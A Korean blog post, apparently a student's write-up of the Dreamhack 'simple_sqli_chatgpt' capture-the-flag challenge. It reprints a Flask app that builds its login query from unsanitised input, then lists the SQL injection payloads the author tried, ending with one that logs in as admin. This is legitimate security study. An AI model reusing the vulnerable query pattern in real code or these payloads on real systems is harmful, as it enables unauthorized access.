촉촉한초코칩
Dreamhack - simple_sqli_chatgpt 본문
코드
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
print(userid, userlevel)
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
만약 database.db가 없다면, 테이블을 생성하고 게스트 유저를 생성한다.
처음에 로그인 페이지에 들어가면 userlevel 입력칸이 있는데, 테이블에서 userlevel에 맞는 열을 res에 답고, 값이 있다면 userid와 userlevel을 받는다.
그리고 admin과 0이 각각 맞다면, flag를 출력한다.
공격
1. userlevel에 제한된? 값이 없기 때문에 무조건 참이 되도록 만들어본다.
select * from users where userlevel='{userlevel}'
select * from users where userlevel='1' or 1=1
안되는것같다..ㅎ
2. 그런데 insert문에서 guest랑 admin 모두 userlevel에 0을 넣었다.
이부분이 이해가 잘 안돼서 gpt한테 물어봤다.
insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);
userid = res[0]
둘다 0인건 맞는데, select문 후에 userid에 res[0]을 넣었기 때문에, 먼저 넣은 guest 데이터가 출력된다.
3. 모르겠어서 관련 강의?를 다시 봤는데.. 내가 잘못쓴것같다.
userlevel의 값 뒤에도 '가 있기 때문에 injection 값을 넣을 때 닫지 말아야 한다.
0' or '1'='1
0' or 'userid'='admin --> guest
0' and 'userid'='admin --> wrong
0' and userid='admin --> 성공
또 바보같았던게...ㅋㅋㅋ userid도 ' ' 로 감싸버려서 인식이 안됐던거였다...
'Study > Web Hacking' 카테고리의 다른 글
Dreamhack - command-injection-chatgpt (0) | 2024.08.25 |
---|---|
Dreamhack - error based sql injection (0) | 2024.08.15 |
Dreamhack - php7cmp4re (0) | 2024.08.07 |
Dreamhack - XSS Filtering Bypass (0) | 2024.08.07 |
Dreamhack - php-1 (0) | 2024.07.31 |